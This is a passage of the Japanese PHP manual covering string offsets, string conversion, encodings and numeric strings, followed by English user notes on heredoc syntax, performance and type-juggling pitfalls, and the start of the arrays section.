注意: PHP 7.1.0 以降では、負の文字列オフセットにも対応するようになりました。 これは、文字列の末尾からのオフセットを表します。 以前のバージョンでは、負のオフセットで読み込もうとすると E_NOTICE が発生し (空文字列を返します)、負のオフセットで書き込もうとすると E_WARNING が発生していました (文字列には何も手が加えられません)。

注意: $str{42} のように波括弧を使用してアクセスすることも可能です。

警告

範囲外のオフセットに書き込んだ場合は、空いた部分に空白文字が埋められます。 整数型以外の型は整数型に変換されます。 無効なオフセット形式を指定した場合は E_WARNING を発行します。 文字列を代入した場合は最初の文字だけを使用します。 PHP 7.1.0 以降では、空の文字列を代入すると fatal エラーが発生するようになりました。 これまでのバージョンでは、NULL バイトが代入されていました。

警告

内部的には、PHP の文字列はバイト配列です。 そのため、角括弧を使った配列形式での文字列へのアクセスは、 マルチバイト対応ではありません。この方法は、 ISO-8859-1 のようなシングルバイトエンコーディングの文字列に対してだけしか使えません。

注意: PHP 7.1.0 以降では、空の文字列に空のインデックス演算子を適用すると fatal エラーが発生するようになりました。 これまでのバージョンではエラーにならず、空の文字列が配列に変換されていました。

例12 文字列の例

<?php
// 文字列の最初の文字を取得します
$str = 'This is a test.';
$first = $str[0];

// 文字列の 3 番目の文字を取得します
$third = $str[2];

// 文字列の最後の文字を取得します
$str = 'This is still a test.';
$last = $str[strlen($str)-1];

// 文字列の最後の文字を変更します
$str = 'Look at the sea';
$str[strlen($str)-1] = 'e';

?>

文字列のオフセットは整数あるいは整数と見なせる文字列に限られます。 それ以外の場合は警告が発生します。

例13 不正な文字列のオフセットの例

<?php
$str = 'abc';

var_dump($str['1']);
var_dump(isset($str['1']));

var_dump($str['1.0']);
var_dump(isset($str['1.0']));

var_dump($str['x']);
var_dump(isset($str['x']));

var_dump($str['1x']);
var_dump(isset($str['1x']));
?>

上の例の出力は以下となります。

string(1) "b"
bool(true)

Warning: Illegal string offset '1.0' in /tmp/t.php on line 7
string(1) "b"
bool(false)

Warning: Illegal string offset 'x' in /tmp/t.php on line 9
string(1) "a"
bool(false)
string(1) "b"
bool(false)

注意:

その他の型の変数 (配列や、適切なインターフェイスを実装したオブジェクトを除く) に対して [] や {} でアクセスすると、何もメッセージを出さずに単に null を返します。

注意:

文字列リテラル内の文字に対して [] や {} でアクセスすることができます。

注意:

文字列リテラル内の文字に対して、 {} を使ってアクセスする機能は、 PHP 7.4 で非推奨になり、PHP 8.0 で削除されました。

便利な関数および演算子

文字列は、'.' (ドット) 結合演算子で結合することが可能です。'+' (加算) 演算子はこの例では出てこないことに注意してください。詳細については 文字列演算子 を参照ください。

文字列の修正を行う場合には、便利な関数がたくさん用意されています。

一般的な関数については、文字列関数の節 を参照ください。高度な検索/置換を行う関数については Perl 互換の正規表現関数 を参照ください。

URL 文字列用関数や文字列の暗号化/ 復号用の関数 (Sodium および Hash) もあります。

最後に、探しているものがまだ見付からない場合には、 文字型の関数も参照ください。

文字列への変換

(string) キャストや strval() 関数を使って変数を文字列へ変換することができます。 文字列型を必要とする式のスコープにおいて、文字列への変換は自動的に行われます。 echo や print 関数を使うとき、 あるいは可変変数を文字列を比較するときにこの自動変換が行われます。 マニュアルの型 と 型の相互変換 の項を読むとわかりやすいでしょう。 settype()も参照してください。

bool の true は文字列の "1" に、 false は "" (空文字列) に変換されます。 これにより boolean と文字列の値を相互に変換することができます。

int (整数) や浮動小数点数 (float) は その数値の数字として文字列に変換されます (指数の表記や浮動小数点数を含めて)。 浮動小数点数は、指数表記 (4.1E+6) を使用して変換されます。

注意:

PHP 8.0.0 以降では、小数点を表す文字は常に . です。 それより前のバージョンでは、 スクリプトのロケール (LC_NUMERIC カテゴリ) によって決まります。 setlocale() を参照ください。

配列は常に "Array" という文字列に変換されるので、 array の中を見るために echo や print を使ってダンプさせることはできません。 一つの要素を見るためには、echo $arr['foo'] のようにしてください。内容の全てをダンプ/見るためには以降の TIP をご覧ください。

object を string へ変換するには、 マジック・メソッド __toString を使用してください。

リソースは常に "Resource id #1" という文字列に変換されます。1 は実行中の PHP によって割り当てられる resource の番号です。 この文字列の構造に依存したコードを書いてはいけません (この構造は変わる可能性があります) が、スクリプトの実行中 (ウェブのリクエストや CLI プロセスの処理中) は、指定したリソースに対してこの文字列が一意に割り当てられることが保証されます。 他のリソースで同じ文字列が再利用されることはありません。 リソースの型を知るためには get_resource_type() を使用してください。

null は常に空文字列に変換されます。

以上に述べたように、配列、オブジェクト、リソースをプリントアウトしても その値に関する有益な情報を得られるわけではありません。 デバッグのために値を出力するのによりよい方法が知りたければ、 print_r() や var_dump() を参照ください。

PHP 変数を恒久的に保存するための文字列に変換することもできます。 この方法はシリアライゼーションと呼ばれ、 serialize() 関数によって実現できます。

文字列型の詳細

PHP における文字列型は、バイトの配列と整数値 (バッファ長) で実装されています。 バイト列を文字列に変換する方法については何の情報も持っておらず、完全にプログラマ任せとなっています。 文字列を構成する値には何の制限もありません。特に気をつけるべきなのは、 値 0 のバイト (いわゆる "NUL バイト") を文字列内のどの部分にでも使えるという点です (しかし、このマニュアル上で「バイナリセーフではない」とされている一部の関数では、 受け取った文字列をライブラリに渡すときに NUL バイト以降を無視することがあります)。

PHP の文字列型の正体を知ってしまえば、なぜ PHP には「バイト型」が存在しないのかもわかります。 つまり、文字列型がその役割を受け持っているのです。テキスト以外のデータ、 たとえばネットワークソケットから読み込んだ任意のデータを返す関数も、 文字列で値を返します。

PHP が文字列に対して特定のエンコーディングを強制しないのなら、 いったいどのようにして文字列リテラルをエンコードしているのでしょう? たとえば、文字列 "a" と同等なのは "\xE1" (ISO-8859-1)、 "\xC3\xA1" (UTF-8, C form)、 "\x61\xCC\x81" (UTF-8, D form) のどれでしょう? あるいはそれ以外の何かなのでしょうか? 実は、文字列のエンコードはスクリプトファイルのエンコード方式に従って行われるというのが正解です。 したがって、もしスクリプトが ISO-8859-1 で書かれているのなら、文字列も ISO-8859-1 でエンコードされます。その他のエンコードの場合も同様です。 しかし、Zend Multibyte が有効になっている場合は話が別です。 この場合は、スクリプトはどんなエンコーディングで書いてもかまいません (明示的に宣言することもできるし、自動検出させることもできます)。 スクリプトはその後で内部エンコーディングに変換されるので、 文字列リテラルも内部エンコーディングと同じ方式で符号化されます。 スクリプトのエンコーディング (あるいは、Zend Multibyte を有効にした場合の内部エンコーディング) には、一部制限があることに注意しましょう。 ひとことで言うと、ASCII の上位互換 でなければならないということです。 UTF-8 や ISO-8859-1 などがこれにあたります。 しかし、状態に依存する (たとえば、同じバイト値が、先頭にあるときとシフト状態にあるときで違う意味になる) エンコーディングは、問題になる可能性があります。

もちろん、利便性を考慮すれば、テキストを操作する関数が文字列のエンコードを扱う際に 何らかの前提に基づかざるを得ないこともあります。 残念ながら、PHP の各関数が文字列のエンコーディングを判断する方法はまったく統一されていません。

  • いくつかの関数は、文字列が何らかのシングルバイトエンコーディングで符号化されているものと見なします。 しかし、文字列内の各バイトが必ずしも特定の文字に変換できなくてもかまいません。 このタイプの関数は、substr() や strpos()、strlen()、 strcmp() などです。 これらの関数については、文字列を扱うというよりメモリ上のバッファを扱うものととらえてもよいでしょう。 つまり、バイト列とバイトオフセットで考えるということです。
  • 文字列のエンコーディングを受け取る関数もあります。 エンコーディング情報を省略したときにはデフォルトを用意していることもあるでしょう。 このタイプの関数の例は、htmlentities() や 大半の mbstring 関数です。
  • 現在のロケール (setlocale() を参照ください) を使うけれども、 処理はバイト単位で行う関数もあります。 このタイプの関数は strcasecmp() や strtoupper() そして ucfirst() です。 つまり、これらの関数はシングルバイトエンコーディングでしか使えず、 さらにエンコーディングとロケールがマッチしていなければならないということです。 たとえば、strtoupper("a") が正しく "A" を返すには、ロケールを正しく設定したうえで a をシングルバイトで符号化しておかなければなりません。仮に UTF-8 を使っていたとすると、 正しい結果は返されないでしょう。さらに、現在のロケール設定によっては 返される文字列が壊れてしまう可能性もあります。
  • 最後に、文字列が特定のエンコーディング (たいていは UTF-8) であることを前提としている関数があります。 intl の関数や PCRE の関数 (u 修飾子を使う場合のみ) の多くがこのタイプになります。また、その関数の目的上、 utf8_decode() 関数は入力が UTF-8 であることを前提とし、 utf8_encode() 関数は入力が ISO-8859-1 であることを前提としています。

結局、Unicode を使うプログラムをきちんと書くには、 うまく動かない関数の使わないよう注意するしかないということです。 特にデータを破壊してしまう可能性のある関数の使用は避け、 きちんと動作する関数を使うようにしましょう。 intl や mbstring の関数を選択するとよいでしょう。 しかし、Unicode をまともに扱える関数を使うというのは単なる始まりに過ぎません。 たとえ関数側で Unicode を扱う機能があったとしても、 Unicode の仕様に関する知識は不可欠です。 たとえば、世の中には大文字と小文字しか存在しないという思い込みで作ったプログラムは、 うまく動かない可能性があります。

User Contributed Notes

greenbluemoonlight at gmail dot com 18-Aug-2020 03:05
<?php
\\Example # 10 Simple Syntax - Solution for the last "echo" line.

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths";
\\Won't work
\\Outputs: Robert Paulsen greeted the two

/**Solution:**\

echo "$people->robert greeted the two $people->smith\x08s";

\\Will work
\\Outputs: Robert Paulsen greeted the two Smiths

?>
M. H. S. 20-Oct-2019 07:51
<?php

// Its A Example for "Heredoc":

$n = 10;

$var_heredoc = <<<HEREDOC

Its A String For "$var_heredoc" variable.

heredoc can expanding variables.
(example: $n)

if you want not expanding, you need print " \ " befor variable.
(example: /$n)

heredoc can use " /n, /t, /r, ... ".

heredoc = the string of double-qoutation;

        HEREDOC; -> its bad closing of heredoc!

HEREDOC;
// its a good closing of heredoc!

?>
vseokdog at gmail dot com 04-Jun-2019 10:12
Don't forget about new E_WARNING and E_NOTICE errors from PHP 7.1.x: they have been introduced when invalid strings are coerced using operators expecting numbers (+ - * / ** % << >> | & ^) or their assignment equivalents. An E_NOTICE is emitted when the string begins with a numeric value but contains trailing non-numeric characters, and an E_WARNING is emitted when the string does not contain a numeric value.

Example:
$foo = 1 + "bob-1.3e3";
$foo = "10.2 pigs " + 1.0;
Will produce: Warning: A non-numeric value encountered

Read more: https://www.php.net/manual/en/migration71.other-changes.php
Ray.Paseur sometimes uses Gmail 01-Dec-2018 05:14
md5('240610708') == md5('QNKCDZO')

This comparison is true because both md5() hashes start '0e' so PHP type juggling understands these strings to be scientific notation.  By definition, zero raised to any power is zero.
Hayley Watson 31-Dec-2017 10:08
Any single expression, however complex, that starts with $ (i.e., a variable) can be {}-embedded in a double-quoted string:

<?php

echo "The expression {$h->q()["x}"]->p(9 == 0 ? 17 : 42)} gets parsed just as well as " . $h->q()["x}"]->p(9 == 0 ? 17 : 42) . " does.";

?>
jonijnm at example dot com 25-Sep-2017 11:26
Both should work :(

<?php

class Testing {
    public static $VAR = 'static';
    public const VAR = 'const';

    public function sayHelloStatic() {
        echo "hello: {$this::$VAR}";
    }

    public function sayHelloConst() {
        echo "hello: {$this::VAR}"; //Parse error:  syntax error, unexpected '}', expecting '['
    }
}

$obj = new Testing();
$obj->sayHelloStatic();
$obj->sayHelloConst();
mark at manngo dot net 05-Jan-2017 02:52
I though that it would be helpful to add this comment so that the information at least appears on the right page on the PHP site.

Note that if you intend to use a double-quoted string with an associative key, you may run into the T_ENCAPSED_AND_WHITESPACE error. Some regard this as one of the less obvious error messages.

An expression such as:

<?php
    $fruit=array(
        'a'=>'apple',
        'b'=>'banana',
        //    etc
    );

    print "This is a $fruit['a']";    //    T_ENCAPSED_AND_WHITESPACE
?>

will definitely fall to pieces.

You can resolve it as follows:

<?php
    print "This is a $fruit[a]";    //    unquote the key
    print "This is a ${fruit['a']}";    //    Complex Syntax
    print "This is a {$fruit['a']}";    //    Complex Syntax variation
?>

I have a personal preference for the last variation as it is more natural and closer to what the expression would be like outside the string.

It's not clear (to me, at least) why PHP misinterprets the single quote inside the expression but I imagine that it has something to do with the fact quotes are not part of the value string — once the string is already being parsed the quotes just get in the way ... ?
John 14-Nov-2016 03:05
I've been a PHP programmer for a decade, and I've always been using the "single-quoted literal" and "period-concatenation" method of string creation. But I wanted to answer the performance question once and for all, using sufficient numbers of iterations and a modern PHP version. For my test, I used:

php -v
PHP 7.0.12 (cli) (built: Oct 14 2016 09:56:59) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies

------ Results: -------

* 100 million iterations:

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
63608ms (34.7% slower)

$outstr = "literal$n$data$int$data$float$n";
47218ms (fastest)

$outstr =<<<EOS
literal$n$data$int$data$float$n
EOS;
47992ms (1.64% slower)

$outstr = sprintf('literal%s%s%d%s%f%s', $n, $data, $int, $data, $float, $n);
76629ms (62.3% slower)

$outstr = sprintf('literal%s%5$s%2$d%3$s%4$f%s', $n, $int, $data, $float, $data, $n);
96260ms (103.9% slower)

* 10 million iterations (test adapted to see which of the two fastest methods were faster at adding a newline; either the PHP_EOL literal, or the \n string expansion):

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
6228ms (reference for single-quoted without newline)

$outstr = "literal$n$data$int$data$float$n";
4653ms (reference for double-quoted without newline)

$outstr = 'literal' . $n . $data . $int . $data . $float . $n . PHP_EOL;
6630ms (35.3% slower than double-quoted with \n newline)

$outstr = "literal$n$data$int$data$float$n\n";
4899ms (fastest at newlines)

* 100 million iterations (a test intended to see which one of the two ${var} and {$var} double-quote styles is faster):

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
67048ms (38.2% slower)

$outstr = "literal$n$data$int$data$float$n";
49058ms (1.15% slower)

$outstr = "literal{$n}{$data}{$int}{$data}{$float}{$n}"
49221ms (1.49% slower)

$outstr = "literal${n}${data}${int}${data}${float}${n}"
48500ms (fastest; the differences are small but this held true across multiple runs of the test, and this was always the fastest variable encapsulation style)

* 1 BILLION iterations (testing a completely literal string with nothing to parse in it):

$outstr = 'literal string testing';
23852ms (fastest)

$outstr = "literal string testing";
24222ms (1.55% slower)

It blows my mind. The double-quoted strings "which look so $slow since they have to parse everything for \n backslashes and $dollar signs to do variable expansion", turned out to be the FASTEST string concatenation method in PHP - PERIOD!

Single-quotes are only faster if your string is completely literal (with nothing to parse in it and nothing to concatenate), but the margin is very tiny and doesn't matter.

So the "highest code performance" style rules are:

1. Always use double-quoted strings for concatenation.

2. Put your variables in "This is a {$variable} notation", because it's the fastest method which still allows complex expansions like "This {$var['foo']} is {$obj->awesome()}!". You cannot do that with the "${var}" style.

3. Feel free to use single-quoted strings for TOTALLY literal strings such as array keys/values, variable values, etc, since they are a TINY bit faster when you want literal non-parsed strings. But I had to do 1 billion iterations to find a 1.55% measurable difference. So the only real reason I'd consider using single-quoted strings for my literals is for code cleanliness, to make it super clear that the string is literal.

4. If you think another method such as sprintf() or 'this'.$var.'style' is more readable, and you don't care about maximizing performance, then feel free to use whatever concatenation method you prefer!
nospam at nospam dot com 15-Sep-2016 08:44
Beware that consistent with "String conversion to numbers":

<?php

if ('123abc' == 123) echo '(intstr == int) incorrectly tests as true.';

// Because one side is a number, the string is incorrectly converted from intstr to int, which then matches the test number.

// True for all conditionals such as if and switch statements (probably also while loops)!

// This could be a huge security risk when testing/using/saving user input, while expecting and testing for only an integer.

// It seems the only fix is for 123 to be a string as '123' so no conversion happens.

?>
garbage at iglou dot eu 24-May-2016 10:02
You can use string like array of char (like C)

$a = "String array test";

var_dump($a);
// Return string(17) "String array test"

var_dump($a[0]);
// Return string(1) "S"

// -- With array cast --
var_dump((array) $a);
// Return array(1) { [0]=> string(17) "String array test"}

var_dump((array) $a[0]);
// Return string(17) "S"

- Norihiori
sideshowAnthony at googlemail dot com 26-Feb-2016 06:32
Something I experienced which no doubt will help someone . . .
In my editor, this will syntax highlight HTML and the $comment:

$html = <<<"EOD"
<b>$comment</b>
EOD;

Using this shows all the same colour:

$html = <<<EOD
<b>$comment</b>
EOD;

making it a lot easier to work with
necrodust44 at gmail dot com 04-Mar-2014 01:52
String conversion to numbers.

Unfortunately, the documentation is not correct.

≪The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero).≫

It is not said and is not shown in examples throughout the documentation that, while converting strings to numbers, leading space characters are ignored, like with the strtod function.

<?php
    echo "     \v\f    \r   1234" + 1;    // 1235
    var_export ("\v\f    \r   1234" == "1234");    // true
?>

However, PHP's behaviour differs even from the strtod's. The documentation says that if the string contains a "e" or "E" character, it will be parsed as a float, and suggests to see the manual for strtod for more information. The manual says

≪A hexadecimal number consists of a "0x" or "0X" followed by a nonempty sequence of hexadecimal digits possibly containing a radix character, optionally followed by a binary exponent.  A binary exponent consists of a 'P' or 'p', followed by an optional plus or minus sign, followed by a nonempty sequence of decimal digits, and indicates multiplication by a power of 2.≫

But it seems that PHP does not recognise the exponent or the radix character.

<?php
    echo "0xEp4" + 1;     // 15
?>

strtod also uses the current locale to choose the radix character, but PHP ignores the locale, and the radix character is always 2E. However, PHP uses the locale while converting numbers to strings.

With strtod, the current locale is also used to choose the space characters, I don't know about PHP.
php at richardneill dot org 28-Feb-2013 06:20
Leading zeroes in strings are (least-surprise) not treated as octal.
Consider:
  $x = "0123"  + 0;
  $y = 0123 + 0;
  echo "x is $x, y is $y";    //prints  "x is 123, y is 83"
in other words:
 * leading zeros in numeric literals in the source-code are interpreted as "octal", c.f. strtol().
 * leading zeros in strings (eg user-submitted data), when cast (implicitly or explicitly) to integer are ignored, and considered as decimal, c.f. strtod().
gtisza at gmail dot com 10-Jan-2012 06:32
The documentation does not mention, but a closing semicolon at the end of the heredoc is actually interpreted as a real semicolon, and as such, sometimes leads to syntax errors.

This works:

<?php
$foo = <<<END
abcd
END;
?>

This does not:

<?php
foo(<<<END
abcd
END;
);
// syntax error, unexpected ';'
?>

Without semicolon, it works fine:

<?php
foo(<<<END
abcd
END
);
?>
shd at earthling dot net 20-Oct-2009 02:54
If you want a parsed variable surrounded by curly braces, just double the curly braces:

<?php
  $foo = "bar";
  echo "{{$foo}}";
?>

will just show {bar}. The { is special only if followed by the $ sign and matches one }. In this case, that applies only to the inner braces. The outer ones are not escaped and pass through directly.
headden at karelia dot ru 20-Jun-2009 12:43
Here is an easy hack to allow double-quoted strings and heredocs to contain arbitrary expressions in curly braces syntax, including constants and other function calls:

<?php

// Hack declaration
function _expr($v) { return $v; }
$_expr = '_expr';

// Our playground
define('qwe', 'asd');
define('zxc', 5);

$a=3;
$b=4;

function c($a, $b) { return $a+$b; }

// Usage
echo "pre {$_expr(1+2)} post\n"; // outputs 'pre 3 post'
echo "pre {$_expr(qwe)} post\n"; // outputs 'pre asd post'
echo "pre {$_expr(c($a, $b)+zxc*2)} post\n"; // outputs 'pre 17 post'

// General syntax is {$_expr(...)}
?>
cvolny at gmail dot com 02-Dec-2008 11:43
I commented on a php bug feature request for a string expansion function and figured I should post somewhere it might be useful:

using regex, pretty straightforward:
<?php
function stringExpand($subject, array $vars) {
    // loop over $vars map
    foreach ($vars as $name => $value) {
        // use preg_replace to match ${`$name`} or $`$name`
        $subject = preg_replace(sprintf('/\$\{?%s\}?/', $name), $value,
$subject);
    }
    // return variable expanded string
    return $subject;
}
?>

using eval() and not limiting access to only certain variables (entire current symbol table including [super]globals):

<?php
function stringExpandDangerous($subject, array $vars = array(), $random = true) {

        // extract $vars into current symbol table
        extract($vars);

        $delim;
        // if requested to be random (default), generate delim, otherwise use predefined (trivially faster)
        if ($random)
            $delim = '___' . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . chr(mt_rand(65,90)) . '___';
        else
            $delim = '__ASDFZXCV1324ZXCV__';  // button mashing...

        // built the eval code
        $statement = "return <<<$delim\n\n" . $subject . "\n$delim;\n";

        // execute statement, saving output to $result variable
        $result = eval($statement);

        // if eval() returned FALSE, throw a custom exception
        if ($result === false)
            throw new EvalException($statement);

        // return variable expanded string
        return $result;
    }
?>

I hope that helps someone, but I do caution against using the eval() route even if it is tempting.  I don't know if there's ever a truely safe way to use eval() on the web, I'd rather not use it.
steve at mrclay dot org 30-Sep-2008 01:33
Simple function to create human-readably escaped double-quoted strings for use in source code or when debugging strings with newlines/tabs/etc.

<?php
function doubleQuote($str) {
    $ret = '"';
    for ($i = 0, $l = strlen($str); $i < $l; ++$i) {
        $o = ord($str[$i]);
        if ($o < 31 || $o > 126) {
            switch ($o) {
                case 9: $ret .= '\t'; break;
                case 10: $ret .= '\n'; break;
                case 11: $ret .= '\v'; break;
                case 12: $ret .= '\f'; break;
                case 13: $ret .= '\r'; break;
                default: $ret .= '\x' . str_pad(dechex($o), 2, '0', STR_PAD_LEFT);
            }
        } else {
            switch ($o) {
                case 36: $ret .= '\$'; break;
                case 34: $ret .= '\"'; break;
                case 92: $ret .= '\\\\'; break;
                default: $ret .= $str[$i];
            }
        }
    }
    return $ret . '"';
}
?>
chAlx at findme dot if dot u dot need 11-Sep-2008 08:42
To save Your mind don't read previous comments about dates  ;)

When both strings can be converted to the numerics (in ("$a" > "$b") test) then resulted numerics are used, else FULL strings are compared char-by-char:

<?php
var_dump('1.22' > '01.23'); // bool(false)
var_dump('1.22.00' > '01.23.00'); // bool(true)
var_dump('1-22-00' > '01-23-00'); // bool(true)
var_dump((float)'1.22.00' > (float)'01.23.00'); // bool(false)
?>
rkfranklin+php at gmail dot com 26-Sep-2007 12:35
If you want to use a variable in an array index within a double quoted string you have to realize that when you put the curly braces around the array, everything inside the curly braces gets evaluated as if it were outside a string.  Here are some examples:

<?php
$i = 0;
$myArray[Person0] = Bob;
$myArray[Person1] = George;

// prints Bob (the ++ is used to emphasize that the expression inside the {} is really being evaluated.)
echo "{$myArray['Person'.$i++]}<br>";

// these print George
echo "{$myArray['Person'.$i]}<br>";
echo "{$myArray["Person{$i}"]}<br>";

// These don't work
echo "{$myArray['Person$i']}<br>";
echo "{$myArray['Person'$i]}<br>";

// These both throw fatal errors
// echo "$myArray[Person$i]<br>";
//echo "$myArray[Person{$i}]<br>";
?>
Richard Neill 31-May-2007 08:31
Unlike bash, we can't do
  echo "\a"       #beep!

Of course, that would be rather meaningless for PHP/web, but it's useful for PHP-CLI. The solution is simple:  echo "\x07"
og at gams dot at 25-Apr-2007 05:06
easy transparent solution for using constants in the heredoc format:
DEFINE('TEST','TEST STRING');

$const = get_defined_constants();

echo <<<END
{$const['TEST']}
END;

Result:
TEST STRING
bishop 28-Mar-2006 12:58
You may use heredoc syntax to comment out large blocks of code, as follows:
<?php
<<<_EOC
    // end-of-line comment will be masked... so will regular PHP:
    echo ($test == 'foo' ? 'bar' : 'baz');
    /* c-style comment will be masked, as will other heredocs (not using the same marker) */
    echo <<<EOHTML
This is text you'll never see!
EOHTML;
    function defintion($params) {
        echo 'foo';
    }
    class definition extends nothing     {
       function definition($param) {
          echo 'do nothing';
       }
    }

    how about syntax errors?; = gone, I bet.
_EOC;
?>

Useful for debugging when C-style just won't do.  Also useful if you wish to embed Perl-like Plain Old Documentation; extraction between POD markers is left as an exercise for the reader.

Note there is a performance penalty for this method, as PHP must still parse and variable substitute the string.
webmaster at rephunter dot net 30-Nov-2005 08:57
Use caution when you need white space at the end of a heredoc. Not only is the mandatory final newline before the terminating symbol stripped, but an immediately preceding newline or space character is also stripped.

For example, in the following, the final space character (indicated by \s -- that is, the "\s" is not literally in the text, but is only used to indicate the space character) is stripped:

$string = <<<EOT
this is a string with a terminating space\s
EOT;

In the following, there will only be a single newline at the end of the string, even though two are shown in the text:

$string = <<<EOT
this is a string that must be
followed by a single newline

EOT;
lelon at lelon dot net 27-Oct-2004 12:01
You can use the complex syntax to put the value of both object properties AND object methods inside a string.  For example...
<?php
class Test {
    public $one = 1;
    public function two() {
        return 2;
    }
}
$test = new Test();
echo "foo {$test->one} bar {$test->two()}";
?>
Will output "foo 1 bar 2".

However, you cannot do this for all values in your namespace.  Class constants and static properties/methods will not work because the complex syntax looks for the '$'.
<?php
class Test {
    const ONE = 1;
}
echo "foo {Test::ONE} bar";
?>
This will output "foo {Test::one} bar".  Constants and static properties require you to break up the string.
atnak at chejz dot com 11-Apr-2004 03:53
Here is a possible gotcha related to oddness involved with accessing strings by character past the end of the string:

$string = 'a';

var_dump($string[2]);  // string(0) ""
var_dump($string[7]);  // string(0) ""
$string[7] === '';  // TRUE

It appears that anything past the end of the string gives an empty string..  However, when E_NOTICE is on, the above examples will throw the message:

Notice:  Uninitialized string offset:  N in FILE on line LINE

This message cannot be specifically masked with @$string[7], as is possible when $string itself is unset.

isset($string[7]);  // FALSE
$string[7] === NULL;  // FALSE

Even though it seems like a not-NULL value of type string, it is still considered unset.


数値形式の文字列

PHP の 文字列 は、 int や float と解釈できる場合は 数値と見なされます。

PHP 8.0.0 以降の正式な仕様は下記の通りです:

WHITESPACES      \s*
LNUM             [0-9]+
DNUM             ([0-9]*)[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM    (({LNUM} | {DNUM}) [eE][+-]? {LNUM})
INT_NUM_STRING   {WHITESPACES} [+-]? {LNUM} {WHITESPACES}
FLOAT_NUM_STRING {WHITESPACES} [+-]? {EXPONENT_DNUM} {WHITESPACES}
NUM_STRING       ({INT_NUM_STRING} | {FLOAT_NUM_STRING})

PHP は 先頭から始まる 数値形式の文字列という概念も持っています。 これは、数値形式の文字列から始まり、その後に任意の文字が続く文字列です。

数値の文脈で使われる文字列

文字列が数値として評価される必要がある場合 (例: 算術演算や、int 型の宣言がある場合など) は、次のステップを踏むことで結果が決まります:

  1. 文字列が数値の場合、かつそれが int 型の範囲 (PHP_INT_MAX で定義されています) に含まれる場合、int に解決されます。 そうでない場合、float に解決されます。
  2. 文脈が 先頭から始まる数値形式の文字列を許す場合、 かつ値が文字列の場合は、次のように解決されます: 文字列の先頭部分が数値形式の文字列、かつそれが int 型の範囲 (PHP_INT_MAX で定義されています) に含まれる場合、int に解決されます。 そうでない場合、float に解決されます。 それに加えて、エラーレベル E_WARNING が発生します。
  3. 文字列が数値でない場合、 TypeError がスローされます。

PHP 8.0.0 より前の振る舞い

PHP 8.0.0 より前のバージョンでは、 先頭に ホワイトスペースがある場合にだけ、 文字列は数値と見なされていました。 数値の後に ホワイトスペースがある場合は、 その文字列は 先頭から始まる 数値形式の文字列とみなされていました。

PHP 8.0.0 より前のバージョンでは、 文字列が数値の文脈で使われる場合、既に述べたステップと同じ処理を行いますが、 以下の違いがあります:

  • 先頭から始まる数値形式の文字列の場合、 E_WARNING ではなく、 E_NOTICE が発生していました。
  • 文字列が数値でない場合、 E_WARNING が発生し、 0 が返されていました。

<?php
$foo = 1 + "10.5";                // $foo は float (11.5)
$foo = 1 + "-1.3e3";              // $foo は float (-1299)
$foo = 1 + "bob-1.3e3";           // PHP 8.0.0 以降は TypeError。それより前は、$foo は integer (1)
$foo = 1 + "bob3";                // PHP 8.0.0 以降は TypeError。それより前は、$foo は integer (1)
$foo = 1 + "10 Small Pigs";       // PHP 8.0.0 では $foo は integer (11) で、かつ E_WARNING。それより前は E_NOTICE
$foo = 4 + "10.2 Little Piggies"; // PHP 8.0.0 では $foo は float (14.2) で、かつ E_WARNING。それより前は E_NOTICE
$foo = "10.0 pigs " + 1;          // PHP 8.0.0 では $foo は float (11) で、かつ E_WARNING。それより前は E_NOTICE
$foo = "10.0 pigs " + 1.0;        // PHP 8.0.0 では $foo は float (11) で、かつ E_WARNING。それより前は E_NOTICE
?>

User Contributed Notes

There are no user contributed notes for this page.


配列

PHP の配列は、実際には順番付けられたマップです。マップは型の一種で、 値をキーに関連付けます。 この型は、さまざまな使い道にあわせて最適化されます。 配列としてだけでなく、リスト (ベクター)、 ハッシュテーブル (マップの実装の一つ)、辞書、コレクション、スタック、 キュー等として使用することが可能です。 PHP の配列には他の PHP 配列を値として保持することができるため、 非常に簡単にツリー構造を表現することが可能です。

これらのデータ構造に関する説明は本マニュアルの範囲を超えるので省略しますが、 各々について、少なくとも一つは例を示します。 この分野は広範囲にまたがり、さまざまな文献が存在します。 より詳細な情報については、それらの文献を参照ください。

構文

array() で指定

配列 は、言語に組み込まれた array() で作成することが可能です。この構造は、 特定の数のカンマで区切られた キー => 値 の組を引数とします。

array(
    key  => value,
    key2 => value2,
    key3 => value3,
    ...
)

最後の要素のあとのカンマは、書いても書かなくてもかまいません。 配列を一行で定義する場合は、ふつうは最後のカンマを省略します。つまり、 array(1, 2) のほうが array(1, 2, ) よりおすすめだということです。 しかし複数行で定義する場合は、最後のカンマをつけることが一般的です。 そうしておけば、配列の最後に要素を追加するのが容易になるからです。

注意:

array() を [] で置き換えることが出来る、配列の短縮構文も使えます。

例1 シンプルな配列定義

<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// 配列の短縮構文
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>

key は、整数 または 文字列です。 value には任意の型を指定できます。

さらに、次のような key のキャストが発生します。

  • 10 進数の int として妥当な形式の String は、 数値の前に + 記号がついていない限り、 int 型にキャストされます。 つまり、キーに "8" を指定すると、実際には 8 として格納されるということです。一方 "08" はキャストされません。これは十進数として妥当な形式ではないからです。
  • floats もまた int にキャストされます。つまり、 小数部分は切り捨てられるということです。たとえばキーに 8.7 を指定すると、実際には 8 として格納されます。
  • bool も int にキャストされます。つまり、 キーに true を指定すると実際には 1 に格納され、 同様にキーを false とすると実際には 0 となります。
  • Null は空文字列にキャストされます。つまり、キーに null を指定すると、実際には "" として格納されます。
  • array や object は、キーとして使えません。 キーとして使おうとすると Illegal offset type という警告が発生します。

配列の宣言時に同じキーで複数の要素を指定すると、 最後に指定したものがそれまでの値を上書きします。

例2 型のキャストと値の上書きの例

<?php
$array = array(
    1    => "a",
    "1"  => "b",
    1.5  => "c",
    true => "d",
